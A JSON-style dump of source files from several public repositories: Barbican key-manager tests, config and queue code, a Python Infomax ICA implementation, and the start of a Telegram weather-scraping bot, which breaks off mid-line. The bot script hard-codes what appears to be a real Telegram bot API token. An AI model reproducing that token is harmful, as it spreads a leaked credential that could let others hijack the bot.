self.assertEqual(403, create_resp.status_int)\n\n\nclass WhenCreatingStoredKeyOrders(utils.BarbicanAPIBaseTestCase):\n def setUp(self):\n super(WhenCreatingStoredKeyOrders, self).setUp()\n\n # Make sure we have a project\n self.project = resources.get_or_create_project(self.project_id)\n\n def test_can_create_new_stored_key_order(self):\n container_name = 'rsa container name'\n container_type = 'rsa'\n secret_refs = []\n resp, container_id = create_container(\n self.app,\n name=container_name,\n container_type=container_type,\n secret_refs=secret_refs\n )\n stored_key_meta = {\n 'request_type': 'stored-key',\n 'subject_dn': 'cn=barbican-server,o=example.com',\n 'container_ref': 'https://localhost/v1/containers/' + container_id\n }\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=stored_key_meta\n )\n self.assertEqual(202, create_resp.status_int)\n\n order = order_repo.get(order_uuid, self.project_id)\n self.assertIsInstance(order, models.Order)\n\n def test_should_raise_with_bad_container_ref(self):\n stored_key_meta = {\n 'request_type': 'stored-key',\n 'subject_dn': 'cn=barbican-server,o=example.com',\n 'container_ref': 'bad_ref'\n }\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=stored_key_meta,\n expect_errors=True\n )\n self.assertEqual(400, create_resp.status_int)\n\n def test_should_raise_with_container_not_found(self):\n stored_key_meta = {\n 'request_type': 'stored-key',\n 'subject_dn': 'cn=barbican-server,o=example.com',\n 'container_ref': 'https://localhost/v1/containers/not_found'\n }\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=stored_key_meta,\n expect_errors=True\n )\n self.assertEqual(400, create_resp.status_int)\n\n def test_should_raise_with_container_wrong_type(self):\n container_name = 'generic container name'\n container_type = 'generic'\n secret_refs = []\n resp, container_id = create_container(\n self.app,\n name=container_name,\n container_type=container_type,\n secret_refs=secret_refs\n )\n stored_key_meta = {\n 'request_type': 'stored-key',\n 'subject_dn': 'cn=barbican-server,o=example.com',\n 'container_ref': 'https://localhost/v1/containers/' + container_id\n }\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=stored_key_meta,\n expect_errors=True\n )\n self.assertEqual(400, create_resp.status_int)\n\n @testtools.skip(\"TODO(dave) Not yet implemented\")\n def test_should_raise_with_container_no_access(self):\n stored_key_meta = {\n 'request_type': 'stored-key',\n 'subject_dn': 'cn=barbican-server,o=example.com',\n 'container_ref': 'https://localhost/v1/containers/no_access'\n }\n create_resp, order_uuid = create_order(\n self.app,\n order_type='certificate',\n meta=stored_key_meta,\n expect_errors=True\n )\n self.assertEqual(400, create_resp.status_int)\n\n\nclass WhenPerformingUnallowedOperations(utils.BarbicanAPIBaseTestCase):\n def test_should_not_allow_put_orders(self):\n resp = self.app.put_json('/orders/', expect_errors=True)\n self.assertEqual(405, resp.status_int)\n\n def test_should_not_allow_delete_orders(self):\n resp = self.app.delete('/orders/', expect_errors=True)\n self.assertEqual(405, resp.status_int)\n\n def test_should_not_allow_post_order_by_id(self):\n # Create generic order so we don't get a 404 on POST\n resp, order_uuid = create_order(\n self.app,\n order_type='key',\n meta=generic_key_meta\n )\n self.assertEqual(202, resp.status_int)\n\n resp = self.app.post_json(\n '/orders/{0}'.format(order_uuid),\n {},\n expect_errors=True\n )\n\n self.assertEqual(405, resp.status_int)\n\n\n# ----------------------- Helper Functions ---------------------------\ndef create_order(app, order_type=None, meta=None, expect_errors=False):\n # TODO(jvrbanac): Once test resources is split out, refactor this\n # and similar functions into a generalized helper module and reduce\n # duplication.\n request = {\n 'type': order_type,\n 'meta': meta\n }\n cleaned_request = {key: val for key, val in request.items()\n if val is not None}\n\n resp = app.post_json(\n '/orders/',\n cleaned_request,\n expect_errors=expect_errors\n )\n\n created_uuid = None\n if resp.status_int == 202:\n order_ref = resp.json.get('order_ref', '')\n _, created_uuid = os.path.split(order_ref)\n\n return (resp, created_uuid)\n\n\ndef create_container(app, name=None, container_type=None, secret_refs=None,\n expect_errors=False, headers=None):\n request = {\n 'name': name,\n 'type': container_type,\n 'secret_refs': secret_refs if secret_refs else []\n }\n cleaned_request = {key: val for key, val in request.items()\n if val is not None}\n\n resp = app.post_json(\n '/containers/',\n cleaned_request,\n expect_errors=expect_errors,\n headers=headers\n )\n\n created_uuid = None\n if resp.status_int == 201:\n container_ref = resp.json.get('container_ref', '')\n _, created_uuid = os.path.split(container_ref)\n\n return (resp, created_uuid)\n" }, { "alpha_fraction": 0.6260524988174438, "alphanum_fraction": 0.6319960355758667, "avg_line_length": 30.061538696289062, "blob_id": "e736cbcb1dbbdd7076daa68c3efbd97c7885ef9f", "content_id": "505c8ba845afd8ba914e7608ceb4a98911cd80fe", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2019, "license_type": "permissive", "max_line_length": 78, "num_lines": 65, "path": "/barbican/common/config.py", "repo_name": "Neetuj/barbican", "src_encoding": "UTF-8", "text": "# Copyright (c) 2013-2014 Rackspace, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nConfiguration setup for Barbican.\n\"\"\"\n\nimport logging\nimport os\n\nfrom oslo_config import cfg\nfrom oslo_log import log\n\nimport barbican.version\n\nCONF = cfg.CONF\nlog.register_options(CONF)\n\nLOG = logging.getLogger(__name__)\n\n\ndef parse_args(args=None, usage=None, default_config_files=None):\n CONF(args=args,\n project='barbican',\n prog='barbican-api',\n version=barbican.version.__version__,\n usage=usage,\n default_config_files=default_config_files)\n\n CONF.pydev_debug_host = os.environ.get('PYDEV_DEBUG_HOST')\n CONF.pydev_debug_port = os.environ.get('PYDEV_DEBUG_PORT')\n\n\ndef setup_remote_pydev_debug():\n \"\"\"Required setup for remote debugging.\"\"\"\n\n if CONF.pydev_debug_host and CONF.pydev_debug_port:\n try:\n try:\n from pydev import pydevd\n except ImportError:\n import pydevd\n\n pydevd.settrace(CONF.pydev_debug_host,\n port=int(CONF.pydev_debug_port),\n stdoutToServer=True,\n stderrToServer=True)\n except Exception:\n LOG.exception('Unable to join debugger, please '\n 'make sure that the debugger processes is '\n 'listening on debug-host \\'%s\\' debug-port \\'%s\\'.',\n CONF.pydev_debug_host, CONF.pydev_debug_port)\n raise\n" }, { "alpha_fraction": 0.6042668223381042, "alphanum_fraction": 0.6072716116905212, "avg_line_length": 37.69767379760742, "blob_id": "8cac36af8d8ee717b01f88cfa389db65a7c5287d", "content_id": "de071bf0abce87e4dacff2aeaae4041dbfc2b79f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6656, "license_type": "permissive", "max_line_length": 79, "num_lines": 172, "path": "/barbican/queue/__init__.py", "repo_name": "Neetuj/barbican", "src_encoding": "UTF-8", "text": "# Copyright (c) 2013-2014 Rackspace, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nQueue objects for Cloudkeep's Barbican\n\"\"\"\nfrom oslo_config import cfg\nimport oslo_messaging as messaging\nfrom oslo_messaging.notify import dispatcher as notfiy_dispatcher\nfrom oslo_messaging import server as msg_server\n\nfrom barbican.common import exception\nfrom barbican.common import utils\nfrom barbican import i18n as u\n\n\nLOG = utils.getLogger(__name__)\n\nqueue_opt_group = cfg.OptGroup(name='queue',\n title='Queue Application Options')\n\nqueue_opts = [\n cfg.BoolOpt('enable', default=False,\n help=u._('True enables queuing, False invokes '\n 'workers synchronously')),\n cfg.StrOpt('namespace', default='barbican',\n help=u._('Queue namespace')),\n cfg.StrOpt('topic', default='barbican.workers',\n help=u._('Queue topic name')),\n cfg.StrOpt('version', default='1.1',\n help=u._('Version of tasks invoked via queue')),\n cfg.StrOpt('server_name', default='barbican.queue',\n help=u._('Server name for RPC task processing server')),\n]\n\n# constant at one place if this needs to be changed later\nKS_NOTIFICATIONS_GRP_NAME = 'keystone_notifications'\n\nks_queue_opt_group = cfg.OptGroup(name=KS_NOTIFICATIONS_GRP_NAME,\n title='Keystone Notification Options')\n\nks_queue_opts = [\n cfg.BoolOpt('enable', default=False,\n help=u._('True enables keystone notification listener '\n ' functionality.')),\n cfg.StrOpt('control_exchange', default='openstack',\n help=u._('The default exchange under which topics are scoped. '\n 'May be overridden by an exchange name specified in '\n ' the transport_url option.')),\n cfg.StrOpt('topic', default='notifications',\n help=u._(\"Keystone notification queue topic name. This name \"\n \"needs to match one of values mentioned in Keystone \"\n \"deployment\\'s 'notification_topics' configuration \"\n \"e.g.\"\n \" notification_topics=notifications, \"\n \" barbican_notifications\"\n \"Multiple servers may listen on a topic and messages \"\n \" will be dispatched to one of the servers in a \"\n \"round-robin fashion. That's why Barbican service \"\n \" should have its own dedicated notification queue so \"\n \" that it receives all of Keystone notifications.\")),\n cfg.BoolOpt('allow_requeue', default=False,\n help=u._('True enables requeue feature in case of notification'\n ' processing error. Enable this only when underlying '\n 'transport supports this feature.')),\n cfg.StrOpt('version', default='1.0',\n help=u._('Version of tasks invoked via notifications')),\n cfg.IntOpt('thread_pool_size', default=10,\n help=u._('Define the number of max threads to be used for '\n 'notification server processing functionality.')),\n]\n\nCONF = cfg.CONF\nCONF.register_group(queue_opt_group)\nCONF.register_opts(queue_opts, group=queue_opt_group)\n\nCONF.register_group(ks_queue_opt_group)\nCONF.register_opts(ks_queue_opts, group=ks_queue_opt_group)\n\nTRANSPORT = None\nIS_SERVER_SIDE = True\n\nALLOWED_EXMODS = [\n exception.__name__,\n]\n\n\ndef get_allowed_exmods():\n return ALLOWED_EXMODS\n\n\ndef init(conf, is_server_side=True):\n global TRANSPORT, IS_SERVER_SIDE\n exmods = get_allowed_exmods()\n IS_SERVER_SIDE = is_server_side\n TRANSPORT = messaging.get_transport(conf, allowed_remote_exmods=exmods)\n\n\ndef is_server_side():\n return IS_SERVER_SIDE\n\n\ndef cleanup():\n global TRANSPORT\n TRANSPORT.cleanup()\n TRANSPORT = None\n\n\ndef get_target():\n return messaging.Target(topic=CONF.queue.topic,\n namespace=CONF.queue.namespace,\n version=CONF.queue.version,\n server=CONF.queue.server_name)\n\n\ndef get_client(target=None, version_cap=None, serializer=None):\n if not CONF.queue.enable:\n return None\n\n queue_target = target or get_target()\n return messaging.RPCClient(TRANSPORT,\n target=queue_target,\n version_cap=version_cap,\n serializer=serializer)\n\n\ndef get_server(target, endpoints, serializer=None):\n return messaging.get_rpc_server(TRANSPORT,\n target,\n endpoints,\n executor='eventlet',\n serializer=serializer)\n\n\ndef get_notification_target():\n conf_opts = getattr(CONF, KS_NOTIFICATIONS_GRP_NAME)\n return messaging.Target(exchange=conf_opts.control_exchange,\n topic=conf_opts.topic,\n version=conf_opts.version,\n fanout=True)\n\n\ndef get_notification_server(targets, endpoints, serializer=None):\n \"\"\"Retrieve notification server\n\n This Notification server uses same transport configuration as used by\n other barbican functionality like async order processing.\n\n Assumption is that messaging infrastructure is going to be shared (same)\n among different barbican features.\n \"\"\"\n allow_requeue = getattr(getattr(CONF, KS_NOTIFICATIONS_GRP_NAME),\n 'allow_requeue')\n TRANSPORT._require_driver_features(requeue=allow_requeue)\n dispatcher = notfiy_dispatcher.NotificationDispatcher(targets, endpoints,\n serializer,\n allow_requeue)\n # we don't want blocking executor so use eventlet as executor choice\n return msg_server.MessageHandlingServer(TRANSPORT, dispatcher,\n executor='eventlet')\n" } ]
3
AbelHLG/easy_ica
https://github.com/AbelHLG/easy_ica
b995eaa44250309ec9f61bbc7eedc09154b4ede0
6178400b1c1eaa4f36840e7074dc95f1e971e46f
24cb7b3fe50731bb923f6cd95a21595f1cbf4682
refs/heads/master
2020-05-26T19:26:37.494926
2014-06-03T20:43:00
2014-06-03T20:43:00
20,452,701
3
3
null
null
null
null
null
[ { "alpha_fraction": 0.728205144405365, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 23.3125, "blob_id": "b3097330daed113b05febaca1c9f5dedeff9f647", "content_id": "10f917f259d8f912f85471d647e7e2f9386c78bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 390, "license_type": "no_license", "max_line_length": 76, "num_lines": 16, "path": "/src/build/lib/tester.py", "repo_name": "AbelHLG/easy_ica", "src_encoding": "UTF-8", "text": "__author__ = 'Abel Antonio Fernandez Higuera <[email protected]>'\n\n# Creado para probar InfomaxICA implementado en Python con datasets simples.\n\nfrom numpy import array, dot\nimport matplotlib.pyplot as plotter\nfrom scipy.io import loadmat\n\nfrom ica import infomax_ica\n\nmatlab_file = loadmat('../data/sounds.mat')\n\nx = matlab_file['sounds']\nresult = infomax_ica(x=x, k=5)\nplotter.plot(result.T, color='blue')\nplotter.show()\n\n" }, { "alpha_fraction": 0.5794223546981812, "alphanum_fraction": 0.5866426229476929, "avg_line_length": 31.58823585510254, "blob_id": "c31843b82046379ac67f1ac8d1ad1ff447117414", "content_id": "8b809e97d9fc35ccc932b91b694c11236fc2d90b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 554, "license_type": "no_license", "max_line_length": 115, "num_lines": 17, "path": "/src/setup.py", "repo_name": "AbelHLG/easy_ica", "src_encoding": "UTF-8", "text": "from distutils.core import setup\n\nsetup(\n name='easy_ica',\n version='0.1',\n packages=[''],\n url='https://github.com/AbelHLG/easy_ica',\n license='GPLv2',\n author='Abel Antonio Fernandez Higuera,'\n 'Roberto Antonio Becerra Garcia, '\n 'Rodolfo Valentin Garcia Bermudez',\n author_email='[email protected]',\n description='Independent component analysis (ICA) using maximum likelihood, square mixing matrix and no noise '\n '(Infomax).Source prior is assumed to be p(s)=1/pi*exp(-ln(cosh(s))). For optimization the BFGS '\n 'algorithm is used.',\n py_modules=['ica'],\n)\n" }, { "alpha_fraction": 0.4376741945743561, "alphanum_fraction": 0.46105605363845825, "avg_line_length": 22.91851806640625, "blob_id": "fb26f1b04b9f908d0c7baad6f9176f7f7e7ff5d9", "content_id": "da4a8ea542c9428277d2960528af2ce54a74f645", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12916, "license_type": "no_license", "max_line_length": 114, "num_lines": 540, "path": "/src/build/lib.linux-x86_64-2.7/ica.py", "repo_name": "AbelHLG/easy_ica", "src_encoding": "UTF-8", "text": "\"\"\"\nIndependent component analysis (ICA) using maximum likelihood, square mixing matrix and no noise (Infomax).\nSource prior is assumed to be p(s)=1/pi*exp(-ln(cosh(s))). For optimization the BFGS algorithm is used.\n\nReference:\nA. Bell and T.J. Sejnowski(1995).\nAn Information-Maximization Approach to Blind Separation and Blind Deconvolution\nNeural Computation, 7:1129-1159.\n\nHistory:\n\n- 2002.4.1 created for Matlab by Thomas Kolenda of IMM, Technical University of Denmark.\n- 2014.6.3 ported to Python by Abel Antonio Fernandez Higuera\n Roberto Antonio Becerra Garcia\n Rodolfo Valentin Garcia Bermudez\n (Biomedical Data Processing Group (GPDB), University of Holguin)\n\"\"\"\n\n__authors__ = [\n 'Abel Antonio Fernandez Higuera <[email protected]>',\n 'Roberto Antonio Becerra Garcia <[email protected]>',\n 'Rodolfo Valentin Garcia Bermudez <[email protected]>',\n]\n\nfrom math import pi, e, sqrt\n\nfrom numpy import max, min, eye, diag, var, sort, linalg, diff, float, inf, dot, isreal, any, \\\n nonzero, ones, zeros, shape, array\nimport numpy as np\n\n\n#######################################################################################\n# AUXILIARY FUNCTIONS #\n#######################################################################################\n\n\ndef check(x0, opts0, w=None, x=None, m=None, n=None):\n \"\"\"\n Check function call.\n \"\"\"\n x1 = []\n for i in x0:\n for j in i:\n x1.append([j])\n x1 = array(x1)\n sx = shape(x1)\n n1 = max(sx)\n\n if min(sx) > 1:\n print('Error: x0 should be a vector')\n\n f, g = ica_mlf(w, x=x, m=m, n=n)\n\n sf = f.shape\n sg = g.shape\n\n opts = []\n\n if any(sf) - 1 or ~isreal(f):\n print('Error: f should be a real valued scalar.')\n\n if (min(sg) != 1) or (max(sg) != n1):\n print('Error: g should be a vector of the same length as x')\n\n opts0.reshape((4, 1))\n so = opts0.shape\n\n if (min(so) != 1) or (max(so) < 4) or any(~isreal(opts0[0:3])):\n print('Error: opts should be a real valued vector of length 4')\n\n opts = opts0[0:4]\n opts = (opts[:]).T\n\n i = nonzero(any(opts) <= 0)\n\n if len(i[0]):\n len(i)\n d = [0, 1 * (e ** (-4)) * linalg.norm(g, inf), 1 * (e ** (-8)), 100]\n opts[i] = d[i]\n return x1, n1, f, g, opts\n\n\ndef call_svd(x, k, draw):\n \"\"\"\n Reduce dimension with SVD.\n \"\"\"\n global d, u, v\n m = x.shape[0]\n n = x.shape[1]\n\n if n > m:\n if draw == 1:\n print('Do Transpose SVD')\n v, d, u = linalg.svd(x.T, full_matrices=0)\n else:\n if draw == 1:\n u, d, v = linalg.svd(x, full_matrices=0)\n\n # Esto se hace pues la funcion de Numpy solo devuleve igual a Matlab el primer y el tercer resultado. Para que\n # devuelva la matriz que se quiere, se deve diagonalizar el vector que retorna la funcion svd() de Numpy.\n d = diag(d)\n dv = dot((d[0:k, 0:k]), (v[:, 0:k]).T)\n\n return u, dv\n\n\ndef ica_mlf(w, x=None, m=None, n=None):\n \"\"\"\n Returns the negative log likelihood and its gradient w.r.t. W.\n \"\"\"\n w = w.reshape((m, m))\n s = dot(w, x)\n\n # Negative log likelihood function\n\n f = -(n * np.log(abs(linalg.det(w))) - sum(sum(np.log(np.cosh(s)))) - n * m * np.log(pi))\n\n # Gradient w.r.t. W\n\n dw = -(n * linalg.inv(w.T) - dot(np.tanh(s), x.T))\n\n # Esto es el equivalente a lo que en Matlab seria dw = dw[:] que no es mas que poner en un vector todos los\n # elementos de la matriz\n\n dw1 = []\n for i in dw:\n for j in i:\n dw1.append([j])\n dw = array(dw1)\n f = array([f])\n return f, dw\n\n\ndef interpolate(xfd, n):\n \"\"\"\n Minimizer of parabola given by xfd(1:2,1:3) = [a fi(a) fi'(a); b fi(b) dummy].\n \"\"\"\n xfd = array(xfd)\n a = xfd[0][0]\n b = xfd[1][0]\n d = b - a\n dfia = xfd[0][2]\n\n c = diff(xfd.T[1][0:2]) - d * dfia\n\n eps = np.finfo(float).eps\n if c >= (5 * n * eps * b):\n a_1 = a - .5 * dfia * (d ** 2 / c)\n d *= 0.1\n alpha = min(array([max(array([(a + d), a_1])), b - d]))\n else:\n alpha = (a + b) / 2\n\n return alpha\n\n\ndef check_d(self, n, do):\n \"\"\"\n Check given inverse Hessian.\n \"\"\"\n d = do\n sd = len(d)\n\n if any(sd - n) != 0:\n print('D should be a square matrix of size ' + n)\n\n # Check symmetry\n d_d = d - d.T\n n_dd = linalg.norm(d_d[:], inf)\n\n eps = np.finfo(float).eps\n\n if n_dd > 10 * eps * linalg.norm((d[:], inf)):\n print('Error: The given D0 is not symmetric')\n\n if n_dd == (d + d.T) / 2 and d == (d + d.T) / 2:\n return\n\n p = linalg.cholesky(d)\n return d\n\n\ndef softline(x, f, g, h, x1=None, m=None, n=None):\n \"\"\"\n Soft line search: Find alpha = argmin_a{f(x+a*h)}\n \"\"\"\n global fib, dfib\n n1 = n\n # Default return values\n h = h.reshape((1, len(h)))[0]\n\n g = g.reshape((1, len(g)))[0]\n alpha = 0\n fn = f\n gn = g\n neval = 0\n slrat = 1\n n = len(x)\n\n # Initial values\n\n dfi0 = dot(h, gn)\n\n if dfi0 >= 0:\n return alpha, fn, gn, neval, slrat\n\n fi0 = f\n slope0 = .05 * dfi0\n slopethr = .995 * dfi0\n dfia = dfi0\n stop = 0\n ok = 0\n neval = 0\n b = 1\n\n while stop == 0:\n bh = b * h\n bh = bh.reshape((len(h), 1))\n bh = (x + bh).reshape((1, len((x + bh))))\n\n fib, g = ica_mlf(bh, x=x1, m=m, n=n1)\n\n neval += 1\n g1 = []\n for i in g:\n for j in i:\n g1.append(j)\n g = array(g1)\n dfib = dot(g, h)\n\n if b == 1:\n slrat = dfib / dfi0\n fib = fib[0]\n\n fib_compare = (fi0 + (slope0 * b))\n\n if fib <= fib_compare:\n\n if dfib > abs(slopethr):\n stop = 1\n else:\n alpha = b\n fn = fib\n gn = g\n dfia = dfib\n ok = 1\n slrat = dfib / dfi0\n\n if (neval < 5) and (b < 2) and (dfib < slopethr):\n b *= 2\n else:\n stop = 1\n else:\n stop = 1\n\n stop = ok\n xfd = [[alpha, fn, dfia], [b, fib, dfib], [b, fib, dfib]]\n\n while stop == 0:\n c = interpolate(xfd, n=n)\n ch = c * h\n ch = ch.reshape((len(h), 1))\n ch = (x + ch).reshape((1, len((x + ch))))\n fic, g = ica_mlf(ch, x=x1, m=m, n=n1)\n neval += 1\n g1 = []\n for i in g:\n for j in i:\n g1.append(j)\n g = array(g1)\n xfd[2] = [c, fic, dot(g, h)]\n\n if fic < (fi0 + slope0 * c):\n xfd[0] = xfd[2]\n ok = 1\n alpha = c\n fn = fic\n gn = g\n slrat = xfd[2][2] / dfi0\n else:\n xfd[1] = xfd[1]\n ok = 0\n\n ok &= abs(xfd[2][2]) <= abs(slopethr)\n\n stop = ok | (neval >= 5) | (diff(xfd[0:1], n=2) <= 0)\n\n return alpha, fn, gn, neval, slrat\n\n\ndef ucminf(init_step, opts_2, opts_3, opts_4, w=None, x0=None, d0=None, x=None, m=None, n=None):\n \"\"\"\n UCMINF BFGS method for unconstrained nonlinear optimization:\n Find xm = argmin{f(x)} , where x is an n-vector and the scalar function F with gradient g (with elements\n g(i) = DF/Dx_i)\n \"\"\"\n xpar = x\n # Check call\n opts0 = array([init_step, opts_2, opts_3, opts_4])\n n1 = n\n x, n, f, g, opts = check(x0, opts0, x=x, w=w, m=m, n=n)\n\n if d0 is not None:\n d = check_d(n, d0)\n fst = 0\n else:\n d = eye(n)\n fst = 1\n\n # Finish initialization\n k = 1\n kmax = opts_4\n neval = 1\n ng = linalg.norm(g, inf)\n delta = opts[0]\n\n x1 = []\n\n for i in x:\n for j in i:\n x1.append([j])\n x = array(x1)\n\n x_1 = x * ones((1, kmax + 1))\n\n b = [f, ng]\n zeros_array = zeros((3, 1))\n for i in zeros_array:\n b.append(i)\n b.append(delta)\n b = array(b)\n perf = b * ones((kmax + 1, 1))\n\n found = ng <= opts_2\n\n h = zeros(x.shape)\n\n nh = 0\n ngs = ng * ones((1, 3))\n\n while not found:\n xp = array(x)\n gp = array(g)\n fp = f\n nx = linalg.norm(x)\n ngs = [ngs[2:3], ng]\n negative_g = (-g.reshape((1, len(g))))\n h = dot(d, -g)\n nh = linalg.norm(h)\n red = 0\n\n if nh <= opts_3 * (opts_3 + nx):\n print('Entro en 1')\n found = True\n\n else:\n if fst > delta or nh > delta:\n h *= (delta / nh)\n nh = delta\n fst = 0\n red = 1\n\n k += 1\n\n al, f, g, dval, slrat = softline(x, f, g, h, x1=xpar, m=m, n=n1)\n\n if al < 1:\n delta *= .35\n elif red != 0 and (slrat > .7):\n delta *= 3\n\n h = h.reshape((len(h), 1))\n\n x += al * h\n\n neval = neval + dval\n ng = linalg.norm(g, inf)\n h = x - xp\n\n nh = linalg.norm(h)\n\n if nh == 0:\n print('Entro en 2')\n found = True\n else:\n gp = gp.reshape((1, len(gp)))\n y = g - gp\n h = h.reshape((1, len(h)))\n y = array(y[0])\n h = array(h[0])\n yh = dot(y, h)\n\n eps = np.finfo(float).eps\n\n if yh > (sqrt(eps) * nh * linalg.norm(y)):\n y = y.reshape((1, len(y)))\n\n v = dot(y, d)\n\n v = v[0].reshape((1, len(v[0])))\n\n yv = dot(y[0], v[0])\n\n a = (1 + yv / yh) / yh\n h = h.reshape((len(h), 1))\n v = v[0].reshape((len(v[0]), 1))\n w = ((a / 2) * h) - v / yh\n\n d = d + dot(w, h.T) + dot(h, w.T)\n\n thrx = opts[2] * (opts[2] + linalg.norm(x))\n\n if ng <= opts[1]:\n found = True\n\n elif nh <= thrx:\n found = True\n\n elif neval >= kmax:\n found = True\n\n else:\n delta = max(delta, 2 * thrx)\n\n x_1 = x_1[:, 1:k]\n perf = perf[:, 1:k]\n return x, f, ng, nh, k - 1, neval, found, perf, d\n\n\ndef sort_array(array):\n sorted_array = sort(array)\n sorted_array = sorted_array[::-1]\n\n indx = []\n\n for i in range(len(array)):\n for j in range(len(array)):\n if sorted_array[i] == array[j]:\n indx.append(j)\n break\n return sorted_array, indx\n\n\ndef infomax_ica(s=None, a=None, u=None, ll=None, x=None, k=None, init_step=1, par_2=1e-4,\n par_3=1e-8,\n gradient=0, max_it=1000, info=None,\n limit=0.001, verbose=False, whitened=False, white_comp=None, white_parm=None,\n input_dim=None, dtype=None):\n \"\"\"\n Input arguments:\n\n s -- Estimated source signals with variance scaled to one.\n\n a -- Estimated mixing matrix.\n\n u -- Principal directions of preprocessing PCA. If K (the number of sources) is equal to the number\n of observations then no PCA is performed and U=eye(K).\n\n ll -- Log likelihood for estimated sources.\n\n x -- Mixed Signals.\n\n k -- Number of source components. For K=0 (default) number of sources are equal to number of observations.\n For K < number of observations, SVD is used to reduce the dimension.\n\n init_step -- Expected length of initial step.\n\n gradient -- Gradient ||g||_inf <= gradient.\n\n max_it -- Maximum number of iterations.\n\n info -- A dictionary wPerformance information, dictionary with some elements.\n\n\n \"\"\"\n\n # Algorithm parameter settings.\n\n max_nr_it = 1000\n\n # Scale X to avoid numerical problems.\n x = x\n x_org = x\n\n scale_x = max(array((max(x[:]), abs(min(x[:])))))\n\n x /= scale_x\n\n #Set number of source parameters\n\n if k is None:\n k = len(x[1])\n\n if (k > 0) and (k < len(x[1])):\n u, x = call_svd(x, k, 1)\n\n initial_step = init_step\n ucminf_opt_2 = par_2\n ucminf_opt_3 = par_3\n ucminf_opt_4 = max_it\n\n # Initialize variables\n\n m = x.shape[0]\n n = x.shape[1]\n\n w = eye(m)\n\n # Optimize\n\n w, f, ng, nh, k, neval, found, perf, d = ucminf(\n init_step, ucminf_opt_2, ucminf_opt_3, ucminf_opt_4, x0=w[:], x=x, w=w, m=m, n=n)\n\n w = w.reshape((m, m))\n\n # Estimates\n\n a = linalg.pinv(w)\n\n s = dot(w, x)\n\n # Sort components according to energy.\n\n a_var = array(diag(dot(a.T, a)) / m).reshape((len(array(diag(dot(a.T, a)) / m)), 1))\n s_var = array(diag(dot(s, s.T)) / n).reshape((len(array(diag(dot(s, s.T)) / n)), 1))\n v_s = var(s.T)\n sig = a_var * s_var\n sig = sig.reshape((1, len(sig)))[0]\n a1, indx = sort_array(sig)\n\n s = s[indx]\n\n # Scale back\n a = a * scale_x\n\n # Log likelihood\n\n ll = n * np.log(abs(linalg.det(linalg.inv(a)))) - sum(sum(np.log(np.cosh(s)))) - n * m * np.log(pi)\n\n return s\n" } ]
3
askomyagin/TelegramBot-weather-
https://github.com/askomyagin/TelegramBot-weather-
b27d3bfe3b7ba547e9f21346b58a48dd6e8027d8
591bc514528c3ecf5c674872fd82f79820095fe0
6f9254b4a4d7aa670319feda6ac93af609791ac1
refs/heads/master
2022-12-29T05:43:47.944944
2020-10-16T14:20:15
2020-10-16T14:20:15
304,649,140
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4288124740123749, "alphanum_fraction": 0.4897700846195221, "avg_line_length": 58.25, "blob_id": "6c570d5706f6c61f05cef61c43e1e266fd4da13f", "content_id": "795826a94813aa98e0f41d89b53439b41ea0ed6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4861, "license_type": "no_license", "max_line_length": 154, "num_lines": 80, "path": "/bot.py", "repo_name": "askomyagin/TelegramBot-weather-", "src_encoding": "UTF-8", "text": "import telebot\nimport requests\nfrom requests import get\nfrom bs4 import BeautifulSoup as BS\n\nbot = telebot.TeleBot('1346403365:AAGGHqEoYLl8q9SmleX8lXsDv5soyAxBzwA')\n\nr = requests.get('https://sinoptik.ua/погода-богородск')\nr.encoding = 'windows-1251'\nhtml=BS(r.content, 'html.parser')\n\nfor el in html.select('#content'):\n t_min_now = el.select('.temperature .min')[0].text\n t_max_now = el.select('.temperature .max')[0].text\n descriprion_now = el.select('.wDescription .description')[0].text\n wether_now = el.select('.weatherIco')[0].get('title')\n #photo = el.select('.weatherIco .weatherImg')[0].get('src')\n t_0_00 = el.select('.temperature .p1')[0].text\n t_3_00 = el.select('.temperature .p2')[0].text\n t_6_00 = el.select('.temperature .p3')[0].text\n t_9_00 = el.select('.temperature .p4')[0].text\n t_12_00 = el.select('.temperature .p5')[0].text\n t_15_00 = el.select('.temperature .p6')[0].text\n t_18_00 = el.select('.temperature .p7')[0].text\n t_21_00 = el.select('.temperature .p8')[0].text\n t_feels_0_00 = el.select('.temperatureSens .p1')[0].text\n t_feels_3_00 = el.select('.temperatureSens .p2')[0].text\n t_feels_6_00 = el.select('.temperatureSens .p3')[0].text\n t_feels_9_00 = el.select('.temperatureSens .p4')[0].text\n t_feels_12_00 = el.select('.temperatureSens .p5')[0].text\n t_feels_15_00 = el.select('.temperatureSens .p6')[0].text\n t_feels_18_00 = el.select('.temperatureSens .p7')[0].text\n t_feels_21_00 = el.select('.temperatureSens .p8')[0].text\n t_description_0_00 = el.select('.weatherIcoS .p1 .weatherIco ')[0].get('title')\n t_description_3_00 = el.select('.weatherIcoS .p2 .weatherIco ')[0].get('title')\n t_description_6_00 = 